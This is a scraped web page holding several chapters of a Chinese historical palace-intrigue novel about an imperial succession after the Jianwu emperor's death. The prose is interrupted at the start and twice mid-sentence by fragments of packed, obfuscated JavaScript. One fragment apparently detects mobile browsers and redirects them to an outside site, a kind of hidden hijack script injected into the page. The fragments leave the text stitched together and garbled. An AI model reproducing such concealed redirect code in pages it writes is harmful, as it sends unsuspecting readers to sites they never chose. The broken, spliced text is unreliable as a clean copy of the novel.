l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735148|174051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>招来府卫细问,却只知姐姐让他们送了几位姑娘归家,又带了一人去别院安置,其余一概不许多问、不许外传。 赵琮放心不下,忙出府寻了过来。 郁离如同见了救星,快步迎上,急声道:“王爷您可来了!郡主在园子里,正一个人喝闷酒呢,还不许我和文竹姐姐跟着伺候!您快去劝劝吧!” 赵琮蹙眉:“到底发生何事?” 郁离藏不住话,当下竹筒倒豆子般将白日里许茂掳人、赵琦救人、最后却不得不放虎归山的事一股脑说了出来,末了恨恨道:“那禽兽不如的东西,就该千刀万剐!可惜不能手刃了他!” 赵琮静静听着,眉头蹙得更紧。他自幼聪慧过人,心思远比同龄人细密深沉。郁离说完,他便已明了了姐姐何故独自饮酒——有心惩奸却不能除恶,空有武艺却只能放任恶徒逍遥,如何能不愤懑。 他快步走进园子,青石小径尽头,凉亭的轮廓在月色下显现。亭中,那个总是神采飞扬、仿佛能劈开一切阴霾的阿姐,此刻却只留给他一个落寞的侧影,执壶独酌,周身笼罩着一层挥之不去的寂寥。 赵琮心下一软,轻轻叹了口气,放重了脚步。 赵琦闻声偏头,见到是他,眼中掠过一丝意外:“琮儿?你怎么寻到这儿来了?” “阿姐,”赵琮快步走入亭中,撩起袍角在赵琦身边坐下,目光落在她握着酒杯、指节微微发白的手上,声音放得又轻又软:“今天的事...我都知道了。” 赵琦面上的笑意敛去,沉默了片刻,指尖无意识地摩挲着冰凉的杯壁。 少年伸出手,轻轻覆上她欲再去执壶的手背,掌心带着少年人特有的温热。 “阿姐,”他望着姐姐的眼睛,语气无比认真:“你已经做得很好了,真的。” 先宁王妃早逝时,赵琮方才三岁,他是长姐赵琦一手带大的。他自幼聪敏,心思剔透,聪慧更甚于长姐,又怎会不清楚长姐是因何沉郁。 天地之大,人力不可为之事太多,这是阿姐教他的道理,她自己又怎会看不破,只是,看破是一回事,放下又是另一回事,毕竟亲历其间的无力与愤懑,终究又是另一番滋味。 赵琦微微一怔,看向弟弟清澈而笃定的眼神,她听懂了他话中的未尽之意,反手轻轻拍了拍弟弟的手背,心底那股沉郁略略松动了几分,声音也柔和下来:“嗯,阿姐明白的。” 她长舒了一口气,将胸中浊气尽数吐出,笑着拿起酒壶:“陪阿姐喝点?” 话未落音,一杯斟满的酒已推到了赵琮面前。 与嗜酒、酒量颇豪的赵琦不同,赵琮自幼自律,滴酒不沾,更喜清茶书卷。浓烈的酒气扑面而来,少年下意识地蹙紧了眉头,俊秀的脸上写满了抗拒。然而,看着姐姐好容易重又放松下来的笑容,他抿了抿唇,半点不带犹豫地伸手端起那杯对他而言过于辛辣的液体,仰头一饮而尽! “咳!咳咳咳...”灼热的液体滚过喉咙,带来一阵猛烈的呛咳。赵琮冷白的脸庞瞬间涨得通红,眼角甚至逼出了生理性的泪花,方才那份沉稳持重霎时被狼狈取代,倒显出几分这个年纪该有的鲜活生动来。 赵琦看着他这幅模样,不由大笑起来。 好心作陪反被无情取笑,赵琮羞恼地抬眸瞪了自家阿姐一眼,耳根的红晕更深了。他抿着唇,一言不发地从赵琦手中夺过酒壶,先替她斟满了空杯,然后才给自己也重新倒上。这次未再逞强,只执杯细细浅啄。 赵琦笑了笑,见他穿得单薄,抬手解下自己身上的披风,动作熟稔地披在赵琮肩上,仔细地拢了拢前襟。 阿弟自幼喜静,与她不同,若非被她念叨,只怕骑射也不肯学的,身子自是比不上她这个自幼习武的康健。夜间风大,又饮了酒,到底别着凉了才好。 赵琮早已习惯了姐姐的照顾,微微侧头方便她动作。待披风系好,他默默执起酒壶,再次将姐姐见底的酒杯斟满。 月色清辉洒落庭院,亭中对坐的姐弟二人,一豪饮,一浅酌。纵使世间污浊,长夜难明,这一刻的相守与无言的理解,便足以抵御所有的寒凉。 4. 第 4 章 焦勖沐浴更衣毕,片刻不歇,展衣焚香过后,仍旧往建武帝停灵的大殿去侍奉。 平安见此厢各方人马涌动,唯有自家主子不动如山,到底年纪小,不免有些沉不住气。 “主子,咱们不去看看太后娘娘么?” 陛下正值盛年,走得实在太突然,叫人措手不及。 去年四月晋王突然举兵谋反,消息递到京城陛下不忧反乐,自己封了自己个威武大将军,领着张振一行人就说要离京平叛,也不管内阁如何反对,自顾丢下朝廷政事就这么大摇大摆地走了。 大军行至涿州时,南赣巡抚已将晋王活捉,整件事就跟闹着玩似的。更荒唐的是人好不容易抓住,陛下居然又巴巴地叫给放了,硬要亲自平叛。那晋王本就起势不足,又已被收拾过一顿,哪里经得起折腾,自然是没两天就又被抓住了。 陛下天性爱玩,好不容易出去一趟,回来是不可能回来的,索性就一路南巡下江南玩去了,活蹦乱跳的一个人出去,回来就有了体虚之兆,不多时便开始缠绵病榻,及至如今杳然仙去,是任谁也没料到的。 主子一直颇得陛下恩宠,一手司礼监一手东厂,任谁都要给三分薄面,偏偏又最是个拿捏有度的,不像廖昂张振这起人惯是恃宠而骄仗势欺人,三番几次抬手,暗中帮了内阁不少忙,纵是那些眼高于顶惯是看不起他们这些宦官的自诩清流明面上也说不出歹话。 如今陛下猝然辞世,留下这样大一个天下要找人接手,不知有多少双眼睛暗中垂涎。他知主子自有主意,却仍不免有些着急,不管主子中意哪一方,现今太后娘娘的支持都至关重要。 “急什么,阁老们正在替咱们扫路呢。” 平安不解其意,没听懂他话里的玄机,却也不敢再多问。 他搀着焦勖行至停灵大殿,见他慢条斯理地替建武帝灵前上过香,安排吩咐好一应守灵事宜,便再不言语,只垂眸跪在内殿守着皇帝的灵柩。 然而很快平安便会明白焦勖那句话的意思了。 冯太后转醒时一更刚过,她怔怔地望着神色疲惫地倚在自己床沿小憩的幺女赵瑟,未语泪已满面。 金嬷嬷见冯太后苏醒,不觉松了口气,扑到榻前,亦是满面垂泪:“娘娘,您可有哪里还不舒服,老奴去宣太医进殿。” 冯太后红着眼睛拉住她,嗓音颤抖着开口:“皇儿他...他果真...” 余下的话却是怎么也问不出口了。 金嬷嬷是冯太后身边的老人,打冯太后还是冯姑娘的时候便跟着她伺候了,她也是看着建武帝长大的,冯太后此时的丧子之痛她最是明白不过。 金嬷嬷忍着泪狠心点了点头,进而劝慰道:“娘娘,陛下已经走了,您更要保重身体了。陛下最是孝顺,您若是有个好歹,陛下纵使升天了亦不能安心啊。” 语毕她伸手指了指倚在床沿睡得并不安稳的福宁公主赵瑟,含泪道:“您还有福宁公主呢,公主她守了您一日,憔悴得不成样子,老奴好说歹说劝她去歇息她都不肯,只说要在这儿守着您才安心。” 冯太后垂目看向神色憔悴睡梦中尤蹙着眉的福宁公主,默默垂泪许久,终是不得不接受了现实。 她的皇儿死了,他不过才活了三十一个年头,就要叫她白发人送黑发人。 冯太后纵声痛哭,挣扎着下床:“扶哀家起来,哀家要去看我的皇儿。” 福宁公主被冯太后的悲鸣声惊醒,随即大哭着扑进她怀里。 “母后,您吓死儿臣了。皇兄刚走,您若是再有个三长两短,儿臣也不活了。” 冯太后被她抱着,挣扎的动作渐渐弱了下去,抬手将怀中的福宁公主紧紧抱着,撕心裂肺地喊着:“我的儿啊,你皇兄好狠的心啊!叫哀家白发人送黑发人,我可怜的皇儿,你好苦的命啊!” 金嬷嬷不忍再看,撇开眼默默垂泪。 冯太后母女两个正哭得肝肠寸断,紫云殿外忽然响起些断断续续的争执声。 正逢丧子之痛的冯太后恨恨地骂道:“吵吵闹闹成何体统!金菱,着人一律抓起来,通通拖下去乱棍打死!” 金嬷嬷领命出去,很快又折返回来,面露难色。 “娘娘,是韩首辅领着两位阁老在殿外求见。” “哀家管他是谁,哀家现在莫不是连为璠儿哭两声的资格都没了不成?” 冯太后自嫁于睿宗皇帝以来便是这大历朝最尊贵的女人,睿宗一生只娶了她一人,又疼爱有加,后来独子即位,更是尊荣无限。即便随着儿子立后纳妃,后宫日渐充盈,也丝毫无损她的地位。 冯太后这一生,既无争宠之需,也无子嗣之忧,她过惯了富贵闲人的日子,皇帝都是她儿子,还有谁敢忤逆她,脾气自然就大些。再者她本就不是胸怀天下之人,国家大事是从来不关心的,不然建武皇帝整日不理朝政只知玩乐,弄得现在死了连个子嗣都没留下她又怎会不加规劝,放任至此。 殿外韩敏等人听得一清二楚,慌忙跪下,高声启道:“娘娘息怒,老臣等不敢。实不是老臣等故意为难娘娘,只是国不可一日无君,兹事体大,老臣们不得不来恳请娘娘做主,万望娘娘...” 韩敏的话尚未说完,便被盛怒之下的冯太后兜头打断:“滚!都给哀家滚!” 冯太后眼下哪里听得进这些话,她从韩敏的话里就听出一个意思,她的儿子刚走,这帮老臣们非但半点不伤心,更是毫不顾念君臣之情,立马就着急忙慌地想着另立新君的事了,当真叫人寒心。 “哀家的皇儿尸骨未寒,你们就想着另找皇帝,你们干脆连哀家也一起埋了岂不更省事。” 冯太后这话太重,连金嬷嬷都被吓住了,紫云殿内外的宫人立时跪了一地,个个噤若寒蝉,大气也不敢喘一个。 “母后息怒,别气坏了身子。” 赵瑟连忙扶住作势便要起身的冯太后,忍着脾气冲殿外阁老们周全道:“各位阁老们先请回吧,这皇位纵使空个一两日,大历朝只怕也倒不了。皇兄毕竟新丧,请容我母女二人哀思两日,以全母子、兄妹这些年的情分。” 赵瑟这话软中带硬,韩敏三人对视一眼,叹了口气,自知今日只怕难有善果,沉思片刻只得作罢。 “请太后娘娘和公主殿下节哀,老臣等先行告退。” 内阁既走,冯太后仍旧怒气难消,犹自恨恨道:“看看,这就是大历的好臣子,满口的忠君为国,你皇兄才走了一天,才一天!他们便等不及了!” “母后息怒,身子要紧。” 赵瑟不住地轻抚冯太后的胸口,心中亦是气愤:“为着这些道貌岸然之徒生气不值当,皇兄在天有灵看到该要自责了,母后好好保重身体,皇兄也才能走得安心。” 提到建武帝,冯太后刚止住的泪又落了下来:“扶哀家起来,哀家想去看看你皇兄,送他一程。” 一面说着一面挣扎着起身。 赵瑟见劝不住,只得命人备了凤辇,护着冯太后去了停灵大殿。 一路行去,宫门洞开,沿途挂满祭幔,道旁灯笼照如白昼,宫人们恸哭声不止,冯太后的丧子之感愈发真切,真真是伤心处空断肠唯有泪千行。 正殿里佛音绕梁,百来个僧侣正在潜心诵经。冯太后哭着穿过念经诵佛的一行僧众,直奔建武帝的灵柩。 焦勖早已闻讯迎了出来,哀恸着叩地请安:“臣叩见娘娘,万望娘娘节哀。” 冯太后正眼也没看,直扑到建武帝的棺椁上,扶棺痛哭:“我可怜的儿啊,母后来送你了。” 躺在棺椁之中的建武帝已被焦勖着人精心收拾过,面上看不出死气,倒好似熟睡之人。 冯太后哀哀地看着躺在棺中的儿子,泪眼朦胧里,但见他除了略显消瘦之外神形一如生前,眉目干净得好似只是在睡梦中,心下稍感慰藉。 回身看见恭恭敬敬地伏地问安的焦勖,心知这一应停灵超度之事俱是他一手操办,再打量他神情疲惫,显是未曾合眼,不免心中动容。 “起来吧。” 焦勖谢恩起身,劝慰道:“陛下临终时最挂心的便是娘娘,恳请娘娘保重凤体,陛下在天之灵也可告慰一二。” 冯太后大哭了一场后,心中郁结已散了大半。此时再听他提起建武帝临终之时对自己的挂念,心中忽悲忽喜。 “替哀家好好守着陛下。” 她到底年纪大了,这一日夜伤心劳神费了许多力气,回头最后看了一眼建武帝的灵体,任赵瑟搀扶着走出了大殿。 冯太后前脚刚回紫云殿,后脚冯国舅便到了,进门便先放声嚎哭。 “我可怜的外甥啊,年纪轻轻的,怎么说走就走了啊!” 至亲当前,冯太后刚平复些的哀痛情绪又被勾起,紧紧握住冯国舅的手痛声哀呼。 兄妹两个又是大哭一场,赵瑟劝完这个又劝那个,许久方才劝住。 冯国舅一面拭泪,一面状似无意地问道:“臣方才进来的时候,似是看到了三位阁老。” 他不提还好,一提立时就又勾起了冯太后的怒气。冯太后不由红着眼睛冷笑:“那帮老家伙等不及要另立新君了,可怜璠儿尸骨未寒。” 冯太后说得咬牙切齿,抱着同样心思而来的冯国舅面上不觉讪讪,连忙顺着冯太后的话痛骂内阁。 “这般阁臣最是倚老卖老,好生可恶!陛下才归天,他们怎能如此寒太后的心!” 冯国舅骂完,亦自知时机不对,只得暂且将商讨新君事宜的想法压下,又陪着安慰了冯太后许久,方才告辞退下。 次日清晨,内阁三人早早地又跪在紫云殿外求见冯太后,冯太后仍是不见。韩敏三人跪了半日,知今日亦是无果,心中虽着急却也只得退下。翌日又是如此,冯太后还要不见时,福宁公主却开了口。 “母后,还是见见罢。现如今皇兄已不在,往后国事还要仰仗内阁,到底是不好太过下他们的面子。” 赵瑟半跪在冯太后膝边,半是撒娇半是求情道。 这两日她心绪渐渐平静下来,许多事便能看得更远了些。 不管母后和她愿不愿意,这大历朝的皇位不可能一直空下去,皇兄没了,那些大臣必然会再推一个皇帝上来,母后与她终究一介女儿身,需得早做打算才好。与其等别人选来个把握不住的,不如她们早些谋划,自己挑个中意的。 “哀家就是下了又如何,他们还敢寻哀家的不是不成?!” 冯太后自嫁给睿宗以来,一生便再无看人眼色行事之需,是以听见这话冷笑一声,全不放在眼里。 “母后别生气,他们自然是不敢的。只是母后,今时到底不同往日了,往后没有皇兄护着咱们,咱们得自己为自己打算了。” 这话落在耳里,冯太后不由怔住了。 她这一辈子,少小在家有父兄母亲疼爱,嫁人之后,又得夫君珍视,何曾要她费过一日心思。难道临了临了,到老了反倒要自己打算了? 自赵璠亡故至今,冯太后从未想过这些问题,眼中不觉现出些茫然之色。她的儿子没了,往常那些理所当然的事就都要变了? 思绪及此,冯太后不由眼睛一红,又哭了起来。 赵瑟心底又何曾不难过,她自出生起便是这大历朝独一无二最最尊贵的公主,有母后疼爱皇兄宠着,想干什么便干什么。皇兄在时,她又何曾需要算计什么,谁曾想有一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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冯太后瞥了一眼,伸手接过,打开来细细看去时,只见上面姓谁名甚,年方几岁,出自哪支哪脉,是何品性才智,俱都罗列得一清二楚。 冯太后越看越气,转念心中又甚是悲凉,再开口时语气便难免带了刺:“那依阁老们之见,该当立何人啊?” “老臣等不敢妄议,恳请娘娘定夺,臣等必当不负陛下临终所托,竭尽所能辅佐新君,护卫我大历江山绵延万代,以告慰陛下在天之灵。” 韩敏三人立时起身跪了一地,语气端的是大义凛然。 好个深明大义的忠臣,冯太后气得不轻,半天说不出话。 她心中拿不定主意,看了一眼赵瑟,摆摆手道:“哀家有些乏了,折子留下,容哀家思量思量,你们先退下吧。” 打发走内阁三人,冯太后便即刻命人去请冯国舅入殿来商议。冯国舅看完内阁的折子,未见自己中意的人选,心中自是不喜,哪里又有好话。 “依臣看,内阁这人选不好,这样岁数的宗室子弟,正是心思多的年纪,若是即位,只怕听不进娘娘的苦口良言。” 冯太后本就没有主意,听见此话愈发心慌:“那依兄长之见,该当如何?” “这...新君之事毕竟事关国本,臣不好妄言。” “兄长,都什么时候了,这里只有自家人,兄长但说无妨。” 赵瑟也催促道:“是啊,舅舅,有话不妨直说。” 冯国舅心中暗喜,装模作样地又推让了一番,才惺惺作态地开口。 “那臣便直说了,青州的岐王已于去年病逝,现如今袭爵的是他的嫡子赵珙,与陛下是平辈。俱老臣所知,岐王赵珙为人甚是慷慨有德,又孝顺,他膝下育有三子,嫡长子今年不过六岁,很是聪敏好学。太后何不以陛下的名义将其过继过来,代为抚养,此子年纪又小,还不知事,若是由太后亲自抚养,他日必然敬重爱护太后,岂不比那已长成的知冷知热。” “哀家这般年纪,再要教养此等幼子,只怕心有余而力不足。” 赵瑟凝眉听来,倒觉得这确是个不错的人选,忙开解冯太后道:“母后,这宫里最不缺的便是奴才,那小孩接过来,自有人照管教导,哪里当真要母后操心,再者,还有儿臣呢。” 冯国舅连忙附和:“公主说的是,臣也能帮协着。” 冯太后便有些被她二人说动,只是心中尚有疑忧,蹙眉又问:“那岐王家肯让,到底是人家的亲生骨肉?” “如此天恩,又是太后亲自教养,他有何不肯。只待太后懿旨拟定,臣便亲自去那岐王府说去,太后只管放心。” 冯太后思忖片刻,终是点头应允了,又被冯国舅哄着当即便要下旨,还是赵瑟思虑周全些,先拦住了。 “母后,此事需得知会内阁一声为好,毕竟他日若新君即位,年纪尚小,治国理事都要仰仗内阁辅佐。” 她话说得有理,冯国舅早已喜不自禁,顺势道:“太后不若便现下请内阁过来商议,也好早日拟定过继事宜。” 卧房内,焦勖一面查看由各藩地发来的密信,一面听平安回报紫云殿内的情况。 “太后召了阁老们过去,原是想商议将岐王世子过继给陛下的事,不料阁老们俱都反对,两方互不相让,太后一气之下,又将阁老们轰了出去。” 内阁想要的是个容易调教的皇帝,可没想弄个娃娃皇帝过来,任人拿捏,太后那边却又不同,不是自己亲生的骨肉,哪个她都不放心,自然是年纪越小越好掌控。 焦勖将看过的密信扔到火盆内烧尽,起身整了整衣衫,吩咐平安:“放在太后身边的人可以动了。” 5. 第 5 章 冯太后白日同内阁吵了一架,心底愈发思念过世的建武帝。夜间气得睡不着,辗转难寐之时隐约听见窗外有人在唤她。她凝神望去,看见窗外有个影子,神似建武帝,忽的一喜,眼圈立时便红了。 “璠儿,是你么,是你来看母后了么?” 冯太后一面问着一面急忙披衣起身,追出去时却哪里有人。 睡在外间塌上的金嬷嬷被哭声惊醒,起身只见冯太后披头散发地倚在门旁哀哀地在哭,顿时吓得一个激灵,忙下床走至冯太后身边一面扶起她一面问。 “娘娘,您怎么了?” “金菱,哀家刚刚看到皇儿了,皇儿他来看哀家了。” 金嬷嬷不觉打了个冷颤,忙向殿外张望了一圈,并不见有人,心下略安了些,只当冯太后是哀思过重以至出现了幻觉,又不忍戳破她的念想,只得顺着她的话哄道:“必是陛下不忍心见娘娘如此伤怀,这才特意现身,娘娘不要辜负了陛下的一番心意,好好保重凤体才是。” 夜风打着旋吹起一阵清澈的环佩叩击声,冯太后寻声望去,哭声忽止,立时挣脱金嬷嬷的手朝那发出声响的物什奔去。 “是璠儿的玉佩,是璠儿的玉佩。” 冯太后一叠声说着,拾起地上那块白玉蟠龙环佩贴在心口呜呜地哭。 金嬷嬷连忙跟过去,定睛一看,果真是昔日建武帝贴身带着的那块蟠龙玉佩。她立时起了一身鸡皮疙瘩,心道,当真是陛下回魂不成? 冯太后哭了一阵,抱着玉佩起身,吩咐金嬷嬷:“命人备轿,哀家要去看璠儿,璠儿定是有话要跟哀家说。” 冯太后到停灵大殿时,已是四更天,尤是大殿内诵经声不止,这挂满白幔死气沉沉的灵殿也依旧叫人渗得慌。 “你们都退下,哀家要单独跟皇儿说会儿话。” 冯太后脚步踉跄着走至内殿,伏身在棺椁前,正要放声哭时,才发现内殿还有人。 “娘娘?” 焦勖面露诧异,随即慌忙问安。 冯太后看他一身孝衣,眼睛通红,神色憔悴,张口问道:“你一直在此为璠儿守灵?” 焦勖叩首答道:“陛下待臣恩重如山,臣无以为报,唯有替陛下守着灵位,尽些孝心。” 他语态哀恸,言辞恳切,对比那些皇帝前脚死后脚就谋划着立新皇帝的所谓忠臣,简直是云泥之别。 到底也不是个个都薄情寡义,总算还有人记挂着她的儿子。 冯太后心中受用,面色便和善了不少。 “免礼罢。” 她一面说着一面轻抚着棺身,默然半响后,轻声低语:“哀家刚刚看到璠儿了,怕他有话想对哀家说,便来陪陪他。” 焦勖温声劝慰:“想是陛下挂念娘娘,这才特地现身,娘娘...可是有什么愁心事?” 冯太后正是愁结满肠的时候,想起焦勖素来又是建武帝倚仗之人,昔日建武帝每每提及他都是赞不绝口,还将司礼监交予了他手。 冯太后忽的顿住,她怎么忘了,眼前这个奴才可不是个普通的宦官,他手里可掌着司礼监。 纵使对外朝之事再不关心,冯太后也知司礼监手中的权势,皇帝放权给这些奴才,本也就是为了制衡内阁。 她回头盯着焦勖的脸,沉着嗓音缓缓开口。 “内阁有关新君人选的折子,司礼监也备份了吧,司礼监是什么想法?” 焦勖低眉敛目,语气恭顺至极,拱手回答:“娘娘的想法就是司礼监的想法。” 冯太后很满意这个回答,面上有了些许笑意,又问:“哀家想把岐王世子过继到陛下名下,可惜内阁非要跟哀家对着干,你可有什么法子?” 焦勖不疾不徐地回道:“法子倒是有,只是臣斗胆,娘娘果真要过继岐王世子的话,只怕日后未必能高枕无忧。” 冯太后蹙眉:“什么意思?” “娘娘可有想过,岐王夫妇俱都在世,小世子若即位,谁又能保证有一天他不会想找自己的生身父母。” 这话犹如一道惊雷,叫人不能细思。冯太后立时打了个寒噤。 是了,她怎么没想到这一层。他日若那孩子坐稳皇位,却要接自己的生身父母入宫,她如何拦得住。 冯太后眼眶立时一红,到底不是亲生的,心又怎会向着她。 眼见着话已凑了效,焦勖方才继续开口:“娘娘别急,臣还有解方。” 冯太后止住泪,巴巴地望着他,急道:“还不快说。” “娘娘可还记得内阁名单上的宁王,先宁王和宁王妃俱已过世,宁王殿下近日才袭爵,今年不过十五,府上并无长辈。” 冯太后听懂了焦勖的未尽之意,府中没有长辈,他日便无人可以动摇她的地位,这个人选当真是不错,顺带着连内阁的阻力也没了。 “哀家明白了,你好生守着陛下,哀家不会忘了你的功劳。” 冯太后说罢,转身离开了灵堂,不待天亮便召见了内阁。 内阁不知冯太后何故转变了想法,但能早一日确定新君人选总不是坏事,双方立时便商议妥当。等冯国舅收到消息的时候为时已晚,立君的诏书都已经发出去了。 “王爷,太夫人来了。” 赵琮自书页里抬首,微微蹙眉:“她来做什么?” “恐是为了郡主的婚嫁之事,近日太夫人和城中各位夫人来往甚密,打听过不少城中尚未婚配的世家子弟。”修德恭声回道。 修德口中的太夫人姓萧,原是先宁王的侧妃,赵琮袭爵后她便升了太夫人。现下管着宁王府的安阳县主赵琼便是她生养的。 自先宁王过世后,萧太夫人便没了争宠的心思,这几年各自偏安一隅,为先宁王和文太妃守孝,倒也两厢自在。 赵琮嗤笑一声,放下手中的书册:“她倒是一直没忘了阿姐,眼下孝期尚有几月才了结就又巴巴地惦记上了。请她进来的吧,叫本王听听她又有什么新词。” 修德出去请了萧太夫人进来,嘱咐侍女上了茶,亲自奉与萧太夫人后,退至赵琮身后眼观鼻鼻观心地默默随侍。 萧太夫人觑了他一眼,见赵琮并无隔退他的意思,眼里闪过不悦,面上却仍笑着。 她斟酌着用词开口道:“时间过得真快,前日个都有人来给你二姐姐说媒了,我才恍惚记起你二姐姐开年已是十七了。我再一想郡主,开年也已二十有四了,若不是王爷和太妃娘娘走得突然,郡主也不至于被耽搁这么多年,着实叫人心疼。” 赵琮只笑着,也不搭腔。 萧太夫人知他惯是少言寡语,没放在心上,又道:“王爷,我虽不是你们的生母,到底也算长辈,也是真心为郡主着想的。咱们自家人知道郡主品貌才情样样拔尖,任是谁家的儿郎也配得起。只是世人到底眼孔粗浅,郡主终究是女子,不比男儿,只要功名在身纵使晚些成家,亦不需发愁。这女子但凡到了年纪若还未成家,总有那等着看笑话的长舌鬼指指点点说三道四,我这听在耳里实是为郡主不值。” “太夫人这是听了哪里的闲言碎语,莫不是些奴才背后乱嚼主子舌根,这等恶奴,太夫人只管叫人打了出去便是。” 这么明显的指桑骂槐,萧太夫人哪里听不出,面上不由讪讪。 赵琮抬眸望向她,不疾不徐地继续道:“当日祖母在时,曾允诺阿姐婚嫁之事由她自己做主,如今祖母不在,我当代替祖母践行诺言。阿姐若是想嫁,我自十里红妆送她出府,阿姐若是不想,我便顾她一生又何妨。” “可...可郡主到底是女子啊,女子哪有不嫁人的道理。”萧太夫人被赵琮话里的笃定镇住,呐呐道。 “旁人我不知,但我阿姐就是可以。” 赵琮直直盯着萧太夫人的眼睛,说出的话掷地有声,端的是理所当然。 萧太夫人怔怔地望着少年那张肖似先宁王语气神态却截然不同的脸,心中忽的一悲。若不是王爷走得早,她又何需看一个孩子的脸色过活。 “王爷,圣...圣旨到了,快跟卑职去接旨。” 门口忽然冲出个气喘吁吁的半百老头,神情虽着急,眼睛里却藏不住的喜色,此时正目光炯炯地望着赵琮,正是宁王府的长史左青山。 藩王府的长史跟藩王一样,都是个摆设,他自永泰十年随先宁王来陆州就藩起,听过的圣旨就没超过一只手,还俱都是些宗亲婚丧嫁娶之事,这次可是一品诏书,叫他如何不激动。 赵琮微怔,忙起身一面往外走一面问:“可有说是何事?” 左青山摇头:“只说是加急送来的太后懿旨,那宫里来的大人进门先说恭喜,十分客气,就等着王爷您去领旨呢。” “太后懿旨?” 赵琮微微蹙眉,越发纳罕,何事会让太后越过皇帝亲下懿旨。他顿住步子,转头吩咐修德:“从后门走,速去书院请阿姐回府。” 此时谁还有闲暇顾及萧太夫人,她心底好奇到底是何旨意,也顾不上赵琦嫁不嫁人的事了,转身快步寻安阳县主去了。 赵琮快步走至正厅,只见厅里站着五六个内宫近侍打扮的宦官,为首的那个穿的还是绯色四兽朝服,是建武帝专为东厂千户定制的袍服。 赵琮心底疑窦丛生,越发觉得事情蹊跷,他勉强按捺住心底的疑惑,正要跪下领旨,却被为首那人诚惶诚恐地扶住手臂拦住了。 “殿下可要折煞下官了,请殿下站着听旨便可。” 那人握住他手臂的手掌宽厚有力,分寸得宜,明显是有武艺在身。这些人都太过恭敬,远远超出了对一个藩王的礼遇,赵琮心下讶然,面上倒还镇定,拱手道:“公公请宣旨。” 郑秉恭敬地回了一礼,展开圣旨朗声宣道:“奉天承运,尊太后懿旨,着宁恭王之子,穆宗皇帝之孙,睿宗皇帝之从子,大行皇帝之从弟宁王赵琮,嗣皇帝位,念朝廷诸事待决,请新帝即刻启程,赴京即位,钦此。” 圣旨宣完,满室哗然,连向来镇定的赵琮都愣了片刻,左青山更是激动得眼睛都红了。 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵琦看到修德时也很是意外:“修德,你怎么来了?” 她一面说着一面收了马鞭,笑着迎了上去。 修德如今虽是赵琮的侍从,但他起初是先文太妃钦点给赵琦的随侍。他是先宁王离京就藩时,从宫里跟出来的老人,出宫时不过八岁,赵琦从小得他照顾,因此甚为亲厚。 “王爷请您回府。” 事关重大,校场里人多嘴杂,修德只得含糊道。 赵琦蹙眉:“出什么事了吗?” “郡主别着急,不是坏事,只是三言两语说不清楚,还请郡主上马,边走边说。” 赵琦点头,转头嘱咐了学生们几句,便上马随他下山。 出了校场,修德才开口说明原委:“京里来旨了,还是太后的懿旨,王爷这才请您速回府。” “太后懿旨?知道是什么事吗?” “听到传旨的消息王爷就立刻吩咐我出来找郡主了,我是后门出来的,还不知道是什么事,听左长史转述的意思,不是坏消息。” 三人快马加鞭,赶回王府时只见王府大门洞开,门口停了好几辆马车,府里下人们正喜气洋洋地往车上装东西呢。 “郡主,咱们王爷要当皇上了。” 翻身下马的赵琦三人听见这话均是一怔,只觉难以置信。但赵琦素日治下甚严,知晓府里的下人绝不敢信口开河,无凭无据说出这等谋逆之话。 “谁说的?” “千真万确,京里的圣旨都下来了,要王爷即刻就启程呢。” 赵琦心下大惊,暂且不去管下人们如何高兴。她大步迈入府中,不多时便迎面撞上了抱着东西往外走的文竹和赵琼。 “阿姐,你可算回来了。” 赵琼甫一看到她,在云端飘了半日的心这才终于有了着落:“琮儿刚接了圣旨,命他入京即位,京里来的人催着今日就启程,琮儿想让你先跟着进京,我们正在收拾你和他的东西。” “我已知道了,琮儿呢?” “王爷在祠堂里等您。”文竹回她。 赵琦点头,嘱咐道:“你们先收拾着,我去找琮儿。”语毕转身快步往祠堂方向去了。 赵琮席地坐在宽阔的宗祠里,手里拎着那卷已然改变了他命运的明黄锦缎,听见开门声,立时回头望去,看见赵琦,扬着脸冲她笑道:“阿姐,我要做皇帝了,你高兴吗?” 他语气里难得带点孩子气的天真,说罢将手里的圣旨递给赵琦:“你看,咱们马上就能走出陆州了,你高兴吗?” 赵琦的心跳忽然加快,强自镇定地伸手接过他递过来的圣旨展开,盯着上面的字看了许久方才合上。 千真万确,琮儿真的要当皇帝了,她也真的可以走出陆州了。赵琦握着卷轴的双手不自觉的收紧,心里反倒五味杂陈起来。 自出生起她便没离开过陆州,以前做梦都想走出去看看,看看那书上的大漠孤烟长河落日,看看那诗里的海阔潮平银河九天,骑快马饮烈酒锄强扶弱潇洒红尘,如今终于要成真了,她反倒有些不知所措。 赵琦随着赵琮席地而坐,半响方才轻轻笑了笑,反问他:“你呢,皇帝可不是什么好干的活,要对天下黎明百姓负责,还要天天听大臣们唠叨,你高兴吗?” 赵琮思索了片刻,展眉一笑:“我现下不知,反正这差事现如今落在我头上,我好好干就是了。” 6. 第 6 章 “祖母,母亲,父王,琦儿和琮儿马上就要离府去京了,日后有段时日不能来给你们上香,待京城诸事妥当后,琦儿便立即回来接你们的灵位入京供奉,此间的不孝之处,请你们原谅。” “祖母,母亲,父王,请你们放心,琮儿已经长大成人,往后便由琮儿来保护阿姐。此去京中,你们不必挂心,静待孩儿回来接你们。” 听到那句‘往后便由琮儿来保护阿姐’,赵琦微微一怔,偏头看去时,只见对着祖母等人灵位话别的赵琮目光坚毅神情坦然。她好似忽然间才注意到,少年的面庞已在不知不觉间褪去稚嫩,有了独当一面的气概。 她的琮儿长大了啊! 赵琦不由轻笑,心底微微发烫。 二人上过香,叩首跪别先文太妃、宁王妃和宁王的牌位,携手出了祠堂,自往内院去交代事宜。 赵琦进房的时候,文竹领着郁离已收拾得七七八八,正嘱咐郁离取卧房东墙上挂着的一杆银枪。 那枪头的红缨已有些褪色,看着便颇有年头,枪刃倒是依旧锋利,冒着寒光,显然是持枪之人悉心爱护,隔三差五打磨之功。 